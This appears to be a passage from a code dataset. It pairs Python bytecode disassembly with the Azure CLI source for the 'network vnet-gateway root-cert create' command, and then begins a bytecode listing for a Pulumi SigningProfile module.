LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'dhGroup' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR dh_group LOAD_GLOBAL AAZStrType LOAD_CONST 'ikeEncryption' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR ike_encryption LOAD_GLOBAL AAZStrType LOAD_CONST 'ikeIntegrity' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR ike_integrity LOAD_GLOBAL AAZStrType LOAD_CONST 'ipsecEncryption' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR ipsec_encryption LOAD_GLOBAL AAZStrType LOAD_CONST 'ipsecIntegrity' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR ipsec_integrity LOAD_GLOBAL AAZStrType LOAD_CONST 'pfsGroup' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR pfs_group LOAD_GLOBAL AAZIntType LOAD_CONST 'saDataSizeKilobytes' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR sa_data_size_kilobytes LOAD_GLOBAL AAZIntType LOAD_CONST 'saLifeTimeSeconds' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST _element STORE_ATTR sa_life_time_seconds LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_protocols STORE_FAST vpn_client_protocols LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST vpn_client_protocols STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_revoked_certificates STORE_FAST vpn_client_revoked_certificates LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST vpn_client_revoked_certificates STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_revoked_certificates LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST 'client_flatten' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_revoked_certificates LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST properties STORE_ATTR thumbprint LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_root_certificates STORE_FAST vpn_client_root_certificates LOAD_GLOBAL AAZObjectType CALL_FUNCTION LOAD_FAST vpn_client_root_certificates STORE_ATTR Element LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_root_certificates LOAD_ATTR Element STORE_FAST _element LOAD_GLOBAL AAZStrType LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR etag LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR id LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST _element STORE_ATTR name LOAD_GLOBAL AAZObjectType LOAD_CONST True LOAD_CONST True LOAD_CONST ('required', 'client_flatten') BUILD_CONST_KEY_MAP LOAD_CONST ('flags',) CALL_FUNCTION LOAD_FAST _element STORE_ATTR properties LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_ATTR vpn_client_configuration LOAD_ATTR vpn_client_root_certificates LOAD_ATTR Element LOAD_ATTR properties STORE_FAST properties LOAD_GLOBAL AAZStrType LOAD_CONST 'provisioningState' LOAD_CONST 'read_only' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR provisioning_state LOAD_GLOBAL AAZStrType LOAD_CONST 'publicCertData' LOAD_CONST 'required' LOAD_CONST True BUILD_MAP LOAD_CONST ('serialized_name', 'flags') CALL_FUNCTION LOAD_FAST properties STORE_ATTR public_cert_data LOAD_FAST _schema_virtual_network_gateway_read LOAD_ATTR tags STORE_FAST tags LOAD_GLOBAL AAZStrType CALL_FUNCTION LOAD_FAST tags STORE_ATTR Element LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR etag LOAD_FAST _schema STORE_ATTR etag LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR extended_location LOAD_FAST _schema STORE_ATTR extended_location LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR id LOAD_FAST _schema STORE_ATTR id LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR location LOAD_FAST _schema STORE_ATTR location LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR name LOAD_FAST _schema STORE_ATTR name LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR properties LOAD_FAST _schema STORE_ATTR properties LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR tags LOAD_FAST _schema STORE_ATTR tags LOAD_FAST cls LOAD_ATTR _schema_virtual_network_gateway_read LOAD_ATTR type LOAD_FAST _schema STORE_ATTR type LOAD_CONST None RETURN_VALUE LOAD_FAST cls LOAD_ATTR _schema_vpn_nat_rule_mapping_read LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST cls LOAD_ATTR _schema_vpn_nat_rule_mapping_read LOAD_ATTR address_space LOAD_FAST _schema STORE_ATTR address_space LOAD_FAST cls LOAD_ATTR _schema_vpn_nat_rule_mapping_read LOAD_ATTR port_range LOAD_FAST _schema STORE_ATTR port_range LOAD_CONST None RETURN_VALUE LOAD_GLOBAL AAZObjectType CALL_FUNCTION DUP_TOP LOAD_FAST cls STORE_ATTR _schema_vpn_nat_rule_mapping_read STORE_FAST _schema_vpn_nat_rule_mapping_read LOAD_FAST _schema_vpn_nat_rule_mapping_read STORE_FAST vpn_nat_rule_mapping_read LOAD_GLOBAL AAZStrType LOAD_CONST 'addressSpace' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_nat_rule_mapping_read STORE_ATTR address_space LOAD_GLOBAL AAZStrType LOAD_CONST 'portRange' LOAD_CONST ('serialized_name',) CALL_FUNCTION LOAD_FAST vpn_nat_rule_mapping_read STORE_ATTR port_range LOAD_FAST cls LOAD_ATTR _schema_vpn_nat_rule_mapping_read LOAD_ATTR address_space LOAD_FAST _schema STORE_ATTR address_space LOAD_FAST cls LOAD_ATTR _schema_vpn_nat_rule_mapping_read LOAD_ATTR port_range LOAD_FAST _schema STORE_ATTR port_range LOAD_CONST None RETURN_VALUE
from azure.cli.core.aaz import * @register_command( "network vnet-gateway root-cert create", ) class Create(AAZCommand): """Upload a root certificate. :example: Add a Root Certificate to the list of certs allowed to connect to this Gateway. az network vnet-gateway root-cert create -g MyResourceGroup -n MyRootCertificate --gateway-name MyVnetGateway --public-cert-data MyCertificateData """ _aaz_info = { "version": "2022-01-01", "resources": [ [ "mgmt-plane", "/subscriptions/{}/resourcegroups/{}/providers/microsoft.network/virtualnetworkgateways/{}", "2022-01-01", "properties.vpnClientConfiguration.vpnClientRootCertificates[]", ], ], } AZ_SUPPORT_NO_WAIT = True def _handler(self, command_args): super()._handler(command_args) self.SubresourceSelector(ctx=self.ctx, name="subresource") return self.build_lro_poller(self._execute_operations, self._output) _args_schema = None @classmethod def _build_arguments_schema(cls, *args, **kwargs): if cls._args_schema is not None: return cls._args_schema cls._args_schema = super()._build_arguments_schema(*args, **kwargs) _args_schema = cls._args_schema _args_schema.resource_group = AAZResourceGroupNameArg( required=True, ) _args_schema.gateway_name = AAZStrArg( options=["--gateway-name"], help="Virtual network gateway name.", required=True, ) _args_schema.name = AAZStrArg( options=["-n", "--name"], help="Root certificate name.", required=True, ) _args_schema.root_cert_data = AAZStrArg( options=["--root-cert-data"], help="Base64 contents of the root certificate file or file path.", required=True, ) return cls._args_schema def _execute_operations(self): self.pre_operations() self.VirtualNetworkGatewaysGet(ctx=self.ctx)() self.pre_instance_create() self.InstanceCreateByJson(ctx=self.ctx)() self.post_instance_create(self.ctx.selectors.subresource.required()) yield self.VirtualNetworkGatewaysCreateOrUpdate(ctx=self.ctx)() self.post_operations() @register_callback def pre_operations(self): pass @register_callback def post_operations(self): pass @register_callback def pre_instance_create(self): pass @register_callback def post_instance_create(self, instance): pass def _output(self, *args, **kwargs): result = self.deserialize_output( self.ctx.selectors.subresource.required(), client_flatten=True ) return result class SubresourceSelector(AAZJsonSelector): def _get(self): result = self.ctx.vars.instance result = result.properties.vpnClientConfiguration.vpnClientRootCertificates filters = enumerate(result) filters = filter(lambda e: e[1].name == self.ctx.args.name, filters) idx = next(filters)[0] return result[idx] def _set(self, value): result = self.ctx.vars.instance result = result.properties.vpnClientConfiguration.vpnClientRootCertificates filters = enumerate(result) filters = filter(lambda e: e[1].name == self.ctx.args.name, filters) idx = next(filters, [len(result)])[0] result[idx] = value return class VirtualNetworkGatewaysGet(AAZHttpOperation): CLIENT_TYPE = "MgmtClient" def __call__(self, *args, **kwargs): request = self.make_request() session = self.client.send_request(request=request, stream=False, **kwargs) if session.http_response.status_code in [200]: return self.on_200(session) return self.on_error(session.http_response) @property def url(self): return self.client.format_url( "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworkGateways/{virtualNetworkGatewayName}", **self.url_parameters ) @property def method(self): return "GET" @property def error_format(self): return "ODataV4Format" @property def url_parameters(self): parameters = { **self.serialize_url_param( "resourceGroupName", self.ctx.args.resource_group, required=True, ), **self.serialize_url_param( "subscriptionId", self.ctx.subscription_id, required=True, ), **self.serialize_url_param( "virtualNetworkGatewayName", self.ctx.args.gateway_name, required=True, ), } return parameters @property def query_parameters(self): parameters = { **self.serialize_query_param( "api-version", "2022-01-01", required=True, ), } return parameters @property def header_parameters(self): parameters = { **self.serialize_header_param( "Accept", "application/json", ), } return parameters def on_200(self, session): data = self.deserialize_http_content(session) self.ctx.set_var("instance", data, schema_builder=self._build_schema_on_200) _schema_on_200 = None @classmethod def _build_schema_on_200(cls): if cls._schema_on_200 is not None: return cls._schema_on_200 cls._schema_on_200 = AAZObjectType() _CreateHelper._build_schema_virtual_network_gateway_read(cls._schema_on_200) return cls._schema_on_200 class VirtualNetworkGatewaysCreateOrUpdate(AAZHttpOperation): CLIENT_TYPE = "MgmtClient" def __call__(self, *args, **kwargs): request = self.make_request() session = self.client.send_request(request=request, stream=False, **kwargs) if session.http_response.status_code in [202]: return self.client.build_lro_polling( self.ctx.args.no_wait, session, self.on_200_201, self.on_error, lro_options={"final-state-via": "azure-async-operation"}, path_format_arguments=self.url_parameters, ) if session.http_response.status_code in [200, 201]: return self.client.build_lro_polling( self.ctx.args.no_wait, session, self.on_200_201, self.on_error, lro_options={"final-state-via": "azure-async-operation"}, path_format_arguments=self.url_parameters, ) return self.on_error(session.http_response) @property def url(self): return self.client.format_url( "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/virtualNetworkGateways/{virtualNetworkGatewayName}", **self.url_parameters ) @property def method(self): return "PUT" @property def error_format(self): return "ODataV4Format" @property def url_parameters(self): parameters = { **self.serialize_url_param( "resourceGroupName", self.ctx.args.resource_group, required=True, ), **self.serialize_url_param( "subscriptionId", self.ctx.subscription_id, required=True, ), **self.serialize_url_param( "virtualNetworkGatewayName", self.ctx.args.gateway_name, required=True, ), } return parameters @property def query_parameters(self): parameters = { **self.serialize_query_param( "api-version", "2022-01-01", required=True, ), } return parameters @property def header_parameters(self): parameters = { **self.serialize_header_param( "Content-Type", "application/json", ), **self.serialize_header_param( "Accept", "application/json", ), } return parameters @property def content(self): _content_value, _builder = self.new_content_builder( self.ctx.args, value=self.ctx.vars.instance, ) return self.serialize_content(_content_value) def on_200_201(self, session): data = self.deserialize_http_content(session) self.ctx.set_var( "instance", data, schema_builder=self._build_schema_on_200_201 ) _schema_on_200_201 = None @classmethod def _build_schema_on_200_201(cls): if cls._schema_on_200_201 is not None: return cls._schema_on_200_201 cls._schema_on_200_201 = AAZObjectType() _CreateHelper._build_schema_virtual_network_gateway_read( cls._schema_on_200_201 ) return cls._schema_on_200_201 class InstanceCreateByJson(AAZJsonInstanceCreateOperation): def __call__(self, *args, **kwargs): self.ctx.selectors.subresource.set(self._create_instance()) def _create_instance(self): _instance_value, _builder = self.new_content_builder( self.ctx.args, typ=AAZObjectType ) _builder.set_prop("name", AAZStrType, ".name") _builder.set_prop( "properties", AAZObjectType, ".", typ_kwargs={"flags": {"required": True, "client_flatten": True}}, ) properties = _builder.get(".properties") if properties is not None: properties.set_prop( "publicCertData", AAZStrType, ".root_cert_data", typ_kwargs={"flags": {"required": True}}, ) return _instance_value class _CreateHelper: """Helper class for Create""" _schema_address_space_read = None @classmethod def _build_schema_address_space_read(cls, _schema): if cls._schema_address_space_read is not None: _schema.address_prefixes = cls._schema_address_space_read.address_prefixes return cls._schema_address_space_read = _schema_address_space_read = AAZObjectType() address_space_read = _schema_address_space_read address_space_read.address_prefixes = AAZListType( serialized_name="addressPrefixes", ) address_prefixes = _schema_address_space_read.address_prefixes address_prefixes.Element = AAZStrType() _schema.address_prefixes = cls._schema_address_space_read.address_prefixes _schema_sub_resource_read = None @classmethod def _build_schema_sub_resource_read(cls, _schema): if cls._schema_sub_resource_read is not None: _schema.id = cls._schema_sub_resource_read.id return cls._schema_sub_resource_read = _schema_sub_resource_read = AAZObjectType() sub_resource_read = _schema_sub_resource_read sub_resource_read.id = AAZStrType() _schema.id = cls._schema_sub_resource_read.id _schema_virtual_network_gateway_read = None @classmethod def _build_schema_virtual_network_gateway_read(cls, _schema): if cls._schema_virtual_network_gateway_read is not None: _schema.etag = cls._schema_virtual_network_gateway_read.etag _schema.extended_location = ( cls._schema_virtual_network_gateway_read.extended_location ) _schema.id = cls._schema_virtual_network_gateway_read.id _schema.location = cls._schema_virtual_network_gateway_read.location _schema.name = cls._schema_virtual_network_gateway_read.name _schema.properties = cls._schema_virtual_network_gateway_read.properties _schema.tags = cls._schema_virtual_network_gateway_read.tags _schema.type = cls._schema_virtual_network_gateway_read.type return cls._schema_virtual_network_gateway_read = ( _schema_virtual_network_gateway_read ) = AAZObjectType() virtual_network_gateway_read = _schema_virtual_network_gateway_read virtual_network_gateway_read.etag = AAZStrType( flags={"read_only": True}, ) virtual_network_gateway_read.extended_location = AAZObjectType( serialized_name="extendedLocation", ) virtual_network_gateway_read.id = AAZStrType() virtual_network_gateway_read.location = AAZStrType() virtual_network_gateway_read.name = AAZStrType( flags={"read_only": True}, ) virtual_network_gateway_read.properties = AAZObjectType( flags={"required": True, "client_flatten": True}, ) virtual_network_gateway_read.tags = AAZDictType() virtual_network_gateway_read.type = AAZStrType( flags={"read_only": True}, ) extended_location = _schema_virtual_network_gateway_read.extended_location extended_location.name = AAZStrType() extended_location.type = AAZStrType() properties = _schema_virtual_network_gateway_read.properties properties.active_active = AAZBoolType( serialized_name="activeActive", ) properties.bgp_settings = AAZObjectType( serialized_name="bgpSettings", ) properties.custom_routes = AAZObjectType( serialized_name="customRoutes", ) cls._build_schema_address_space_read(properties.custom_routes) properties.disable_ip_sec_replay_protection = AAZBoolType( serialized_name="disableIPSecReplayProtection", ) properties.enable_bgp = AAZBoolType( serialized_name="enableBgp", ) properties.enable_bgp_route_translation_for_nat = AAZBoolType( serialized_name="enableBgpRouteTranslationForNat", ) properties.enable_dns_forwarding = AAZBoolType( serialized_name="enableDnsForwarding", ) properties.enable_private_ip_address = AAZBoolType( serialized_name="enablePrivateIpAddress", ) properties.gateway_default_site = AAZObjectType( serialized_name="gatewayDefaultSite", ) cls._build_schema_sub_resource_read(properties.gateway_default_site) properties.gateway_type = AAZStrType( serialized_name="gatewayType", ) properties.inbound_dns_forwarding_endpoint = AAZStrType( serialized_name="inboundDnsForwardingEndpoint", flags={"read_only": True}, ) properties.ip_configurations = AAZListType( serialized_name="ipConfigurations", ) properties.nat_rules = AAZListType( serialized_name="natRules", ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", flags={"read_only": True}, ) properties.resource_guid = AAZStrType( serialized_name="resourceGuid", flags={"read_only": True}, ) properties.sku = AAZObjectType() properties.v_net_extended_location_resource_id = AAZStrType( serialized_name="vNetExtendedLocationResourceId", ) properties.vpn_client_configuration = AAZObjectType( serialized_name="vpnClientConfiguration", ) properties.vpn_gateway_generation = AAZStrType( serialized_name="vpnGatewayGeneration", ) properties.vpn_type = AAZStrType( serialized_name="vpnType", ) bgp_settings = _schema_virtual_network_gateway_read.properties.bgp_settings bgp_settings.asn = AAZIntType() bgp_settings.bgp_peering_address = AAZStrType( serialized_name="bgpPeeringAddress", ) bgp_settings.bgp_peering_addresses = AAZListType( serialized_name="bgpPeeringAddresses", ) bgp_settings.peer_weight = AAZIntType( serialized_name="peerWeight", ) bgp_peering_addresses = ( _schema_virtual_network_gateway_read.properties.bgp_settings.bgp_peering_addresses ) bgp_peering_addresses.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.bgp_settings.bgp_peering_addresses.Element ) _element.custom_bgp_ip_addresses = AAZListType( serialized_name="customBgpIpAddresses", ) _element.default_bgp_ip_addresses = AAZListType( serialized_name="defaultBgpIpAddresses", flags={"read_only": True}, ) _element.ipconfiguration_id = AAZStrType( serialized_name="ipconfigurationId", ) _element.tunnel_ip_addresses = AAZListType( serialized_name="tunnelIpAddresses", flags={"read_only": True}, ) custom_bgp_ip_addresses = ( _schema_virtual_network_gateway_read.properties.bgp_settings.bgp_peering_addresses.Element.custom_bgp_ip_addresses ) custom_bgp_ip_addresses.Element = AAZStrType() default_bgp_ip_addresses = ( _schema_virtual_network_gateway_read.properties.bgp_settings.bgp_peering_addresses.Element.default_bgp_ip_addresses ) default_bgp_ip_addresses.Element = AAZStrType() tunnel_ip_addresses = ( _schema_virtual_network_gateway_read.properties.bgp_settings.bgp_peering_addresses.Element.tunnel_ip_addresses ) tunnel_ip_addresses.Element = AAZStrType() ip_configurations = ( _schema_virtual_network_gateway_read.properties.ip_configurations ) ip_configurations.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.ip_configurations.Element ) _element.etag = AAZStrType( flags={"read_only": True}, ) _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = ( _schema_virtual_network_gateway_read.properties.ip_configurations.Element.properties ) properties.private_ip_address = AAZStrType( serialized_name="privateIPAddress", flags={"read_only": True}, ) properties.private_ip_allocation_method = AAZStrType( serialized_name="privateIPAllocationMethod", ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", flags={"read_only": True}, ) properties.public_ip_address = AAZObjectType( serialized_name="publicIPAddress", ) cls._build_schema_sub_resource_read(properties.public_ip_address) properties.subnet = AAZObjectType() cls._build_schema_sub_resource_read(properties.subnet) nat_rules = _schema_virtual_network_gateway_read.properties.nat_rules nat_rules.Element = AAZObjectType() _element = _schema_virtual_network_gateway_read.properties.nat_rules.Element _element.etag = AAZStrType( flags={"read_only": True}, ) _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) _element.type = AAZStrType( flags={"read_only": True}, ) properties = ( _schema_virtual_network_gateway_read.properties.nat_rules.Element.properties ) properties.external_mappings = AAZListType( serialized_name="externalMappings", ) properties.internal_mappings = AAZListType( serialized_name="internalMappings", ) properties.ip_configuration_id = AAZStrType( serialized_name="ipConfigurationId", ) properties.mode = AAZStrType() properties.provisioning_state = AAZStrType( serialized_name="provisioningState", flags={"read_only": True}, ) properties.type = AAZStrType() external_mappings = ( _schema_virtual_network_gateway_read.properties.nat_rules.Element.properties.external_mappings ) external_mappings.Element = AAZObjectType() cls._build_schema_vpn_nat_rule_mapping_read(external_mappings.Element) internal_mappings = ( _schema_virtual_network_gateway_read.properties.nat_rules.Element.properties.internal_mappings ) internal_mappings.Element = AAZObjectType() cls._build_schema_vpn_nat_rule_mapping_read(internal_mappings.Element) sku = _schema_virtual_network_gateway_read.properties.sku sku.capacity = AAZIntType( flags={"read_only": True}, ) sku.name = AAZStrType() sku.tier = AAZStrType() vpn_client_configuration = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration ) vpn_client_configuration.aad_audience = AAZStrType( serialized_name="aadAudience", ) vpn_client_configuration.aad_issuer = AAZStrType( serialized_name="aadIssuer", ) vpn_client_configuration.aad_tenant = AAZStrType( serialized_name="aadTenant", ) vpn_client_configuration.radius_server_address = AAZStrType( serialized_name="radiusServerAddress", ) vpn_client_configuration.radius_server_secret = AAZStrType( serialized_name="radiusServerSecret", ) vpn_client_configuration.radius_servers = AAZListType( serialized_name="radiusServers", ) vpn_client_configuration.vpn_authentication_types = AAZListType( serialized_name="vpnAuthenticationTypes", ) vpn_client_configuration.vpn_client_address_pool = AAZObjectType( serialized_name="vpnClientAddressPool", ) cls._build_schema_address_space_read( vpn_client_configuration.vpn_client_address_pool ) vpn_client_configuration.vpn_client_ipsec_policies = AAZListType( serialized_name="vpnClientIpsecPolicies", ) vpn_client_configuration.vpn_client_protocols = AAZListType( serialized_name="vpnClientProtocols", ) vpn_client_configuration.vpn_client_revoked_certificates = AAZListType( serialized_name="vpnClientRevokedCertificates", ) vpn_client_configuration.vpn_client_root_certificates = AAZListType( serialized_name="vpnClientRootCertificates", ) radius_servers = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.radius_servers ) radius_servers.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.radius_servers.Element ) _element.radius_server_address = AAZStrType( serialized_name="radiusServerAddress", flags={"required": True}, ) _element.radius_server_score = AAZIntType( serialized_name="radiusServerScore", ) _element.radius_server_secret = AAZStrType( serialized_name="radiusServerSecret", ) vpn_authentication_types = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_authentication_types ) vpn_authentication_types.Element = AAZStrType() vpn_client_ipsec_policies = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_ipsec_policies ) vpn_client_ipsec_policies.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_ipsec_policies.Element ) _element.dh_group = AAZStrType( serialized_name="dhGroup", flags={"required": True}, ) _element.ike_encryption = AAZStrType( serialized_name="ikeEncryption", flags={"required": True}, ) _element.ike_integrity = AAZStrType( serialized_name="ikeIntegrity", flags={"required": True}, ) _element.ipsec_encryption = AAZStrType( serialized_name="ipsecEncryption", flags={"required": True}, ) _element.ipsec_integrity = AAZStrType( serialized_name="ipsecIntegrity", flags={"required": True}, ) _element.pfs_group = AAZStrType( serialized_name="pfsGroup", flags={"required": True}, ) _element.sa_data_size_kilobytes = AAZIntType( serialized_name="saDataSizeKilobytes", flags={"required": True}, ) _element.sa_life_time_seconds = AAZIntType( serialized_name="saLifeTimeSeconds", flags={"required": True}, ) vpn_client_protocols = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_protocols ) vpn_client_protocols.Element = AAZStrType() vpn_client_revoked_certificates = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_revoked_certificates ) vpn_client_revoked_certificates.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_revoked_certificates.Element ) _element.etag = AAZStrType( flags={"read_only": True}, ) _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"client_flatten": True}, ) properties = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_revoked_certificates.Element.properties ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", flags={"read_only": True}, ) properties.thumbprint = AAZStrType() vpn_client_root_certificates = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_root_certificates ) vpn_client_root_certificates.Element = AAZObjectType() _element = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_root_certificates.Element ) _element.etag = AAZStrType( flags={"read_only": True}, ) _element.id = AAZStrType() _element.name = AAZStrType() _element.properties = AAZObjectType( flags={"required": True, "client_flatten": True}, ) properties = ( _schema_virtual_network_gateway_read.properties.vpn_client_configuration.vpn_client_root_certificates.Element.properties ) properties.provisioning_state = AAZStrType( serialized_name="provisioningState", flags={"read_only": True}, ) properties.public_cert_data = AAZStrType( serialized_name="publicCertData", flags={"required": True}, ) tags = _schema_virtual_network_gateway_read.tags tags.Element = AAZStrType() _schema.etag = cls._schema_virtual_network_gateway_read.etag _schema.extended_location = ( cls._schema_virtual_network_gateway_read.extended_location ) _schema.id = cls._schema_virtual_network_gateway_read.id _schema.location = cls._schema_virtual_network_gateway_read.location _schema.name = cls._schema_virtual_network_gateway_read.name _schema.properties = cls._schema_virtual_network_gateway_read.properties _schema.tags = cls._schema_virtual_network_gateway_read.tags _schema.type = cls._schema_virtual_network_gateway_read.type _schema_vpn_nat_rule_mapping_read = None @classmethod def _build_schema_vpn_nat_rule_mapping_read(cls, _schema): if cls._schema_vpn_nat_rule_mapping_read is not None: _schema.address_space = cls._schema_vpn_nat_rule_mapping_read.address_space _schema.port_range = cls._schema_vpn_nat_rule_mapping_read.port_range return cls._schema_vpn_nat_rule_mapping_read = ( _schema_vpn_nat_rule_mapping_read ) = AAZObjectType() vpn_nat_rule_mapping_read = _schema_vpn_nat_rule_mapping_read vpn_nat_rule_mapping_read.address_space = AAZStrType( serialized_name="addressSpace", ) vpn_nat_rule_mapping_read.port_range = AAZStrType( serialized_name="portRange", ) _schema.address_space = cls._schema_vpn_nat_rule_mapping_read.address_space _schema.port_range = cls._schema_vpn_nat_rule_mapping_read.port_range __all__ = ["Create"]
data/azure-cli-2.57.0/azure/cli/command_modules/network/aaz/latest/network/vnet_gateway/root_cert/_create.py
13,103
8,991
378,286
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME copy STORE_NAME copy LOAD_CONST 0 LOAD_CONST None IMPORT_NAME warnings STORE_NAME warnings LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pulumi.runtime STORE_NAME pulumi LOAD_CONST 0 LOAD_CONST ('Any', 'Mapping', 'Optional', 'Sequence', 'Union', 'overload') IMPORT_NAME typing IMPORT_FROM Any STORE_NAME Any IMPORT_FROM Mapping STORE_NAME Mapping IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Sequence STORE_NAME Sequence IMPORT_FROM Union STORE_NAME Union IMPORT_FROM overload STORE_NAME overload POP_TOP LOAD_CONST 2 LOAD_CONST ('_utilities',) IMPORT_NAME IMPORT_FROM _utilities STORE_NAME _utilities POP_TOP LOAD_CONST 1 LOAD_CONST ('outputs',) IMPORT_NAME IMPORT_FROM outputs STORE_NAME outputs POP_TOP LOAD_CONST 1 LOAD_CONST ('*',) IMPORT_NAME _inputs IMPORT_STAR LOAD_CONST 'SigningProfileArgs' LOAD_CONST 'SigningProfile' BUILD_LIST STORE_NAME __all__ LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object SigningProfileArgs at 0x7fab703065d0, file "f.py", line 13> LOAD_CONST 'SigningProfileArgs' MAKE_FUNCTION LOAD_CONST 'SigningProfileArgs' CALL_FUNCTION CALL_FUNCTION STORE_NAME SigningProfileArgs LOAD_NAME pulumi LOAD_ATTR input_type LOAD_BUILD_CLASS LOAD_CONST <code object _SigningProfileState at 0x7fab70276390, file "f.py", line 127> LOAD_CONST '_SigningProfileState' MAKE_FUNCTION LOAD_CONST '_SigningProfileState' CALL_FUNCTION CALL_FUNCTION STORE_NAME _SigningProfileState LOAD_BUILD_CLASS LOAD_CONST <code object SigningProfile at 0x7fab70276ed0, file "f.py", line 371> LOAD_CONST 'SigningProfile' MAKE_FUNCTION LOAD_CONST 'SigningProfile' LOAD_NAME pulumi LOAD_ATTR CustomResource CALL_FUNCTION STORE_NAME SigningProfile LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'SigningProfileArgs' STORE_NAME __qualname__ LOAD_CONST None 